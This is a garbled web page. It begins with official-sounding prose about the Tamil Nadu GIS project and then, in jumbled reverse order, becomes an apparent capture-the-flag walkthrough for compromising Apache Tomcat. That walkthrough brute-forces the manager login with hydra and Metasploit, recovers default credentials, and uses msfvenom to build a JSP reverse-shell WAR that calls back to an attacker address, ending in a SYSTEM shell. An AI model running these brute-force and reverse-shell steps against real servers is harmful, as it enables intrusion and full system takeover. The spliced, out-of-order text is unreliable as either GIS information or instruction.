The handholding support meant for districts shall work in coordination with the state Tamil Nadu Geographical Information System technical team. The spatial data sets of different application proposed to be developed will initially use the Survey of India base maps at 1:50,000 scale as the reference for the entire State. Additional layers for various departments and spatial layers at larger scales for urban application could be made. It is proposed to establish a Digital Maps Repository which would serve these purposesĪugmenting the efforts made in the 1st phase, the Geographical Information System would enhance its repository with other department specific applications. Geographical Information is necessary to take decisions in various Government Departments as well as providing services to the citizens. This will provide an uniform GIS platform over the State. Hence, the Project, Tamil Nadu Geographical Information System (TNGIS) is conceived with an ultimate objective to create a generic model of GIS and to easily integrate with other available data sets. The other constraint in data usage is updation of data overtime, use of appropriate tools (proprietary versus open source software tools) in managing the data sets. One more issue is the source data variation that leads to Spatial / locational inaccuracy of information and mismatch in data. Different agencies are developing GIS on different platform leading to inability to scale up and is also not cost effective. The basic issue in these projects are to utilize huge volume of existing data sets for decision making process. In Tamil Nadu, a vast spatial data have been generated through GIS Projects undertaken by several Departments. The Geographical Information System (GIS) is a tool for managing, analysing, decision making by seamlessly combining both spatial and non-spatial data. war file, from kali extract its contents and upload. You can repeat the same steps, but, instead of uploading the. Click on it, and wait for the connection back The script will appear under application section in the same pageħ. Now, upload the war file to the Apache Tomcat manager deploy section, then click deploy. msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=9999 -f war -o rshell.warĦ.Once logged in, scroll down to find “Deploy” section, this is the place where we will upload our web shell, using. So, the first step is logging into the web console with the credentials we just gotĢ. We can manually create a MSFVenom payload and upload it ourselves. hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.95:8080/manager/htmlġ.We got a session, now inspect what user type you got, in this case we got nt authority\system Set the RHOST, RPORT, URI, HttpPassword, HttpUsername & the listening interface LHOSTĦ. use exploit/multi/http/tomcat_mgr_uploadĥ.Having the credentials now we can use “exploit/multi/http/tomcat_mgr_upload” to upload a web shell, and, get a connection back We got a successful match (tomcat/s3cret)Ĥ. NOTE: This user/pass files will test for default known passwords. If the admin page uses other port than 8080 you should also change that. If you need to use a different wordlist you can modify the USER_FILE & USERPASS_FILE variables. Set the remote host, and, run the module. use auxiliary/scanner/http/tomcat_mgr_loginģ.We will brute force using “auxiliary/scanner/http/tomcat_mgr_login” But this path is protected by basic TTP auth, the most common credentials are:Ģ. The most interesting path of Tomcat is /manager/html, inside that path you can upload and deploy war files (execute code). This time we will enumerate Apache Tomcat/7.0.88, brute force the login and upload a webshell.
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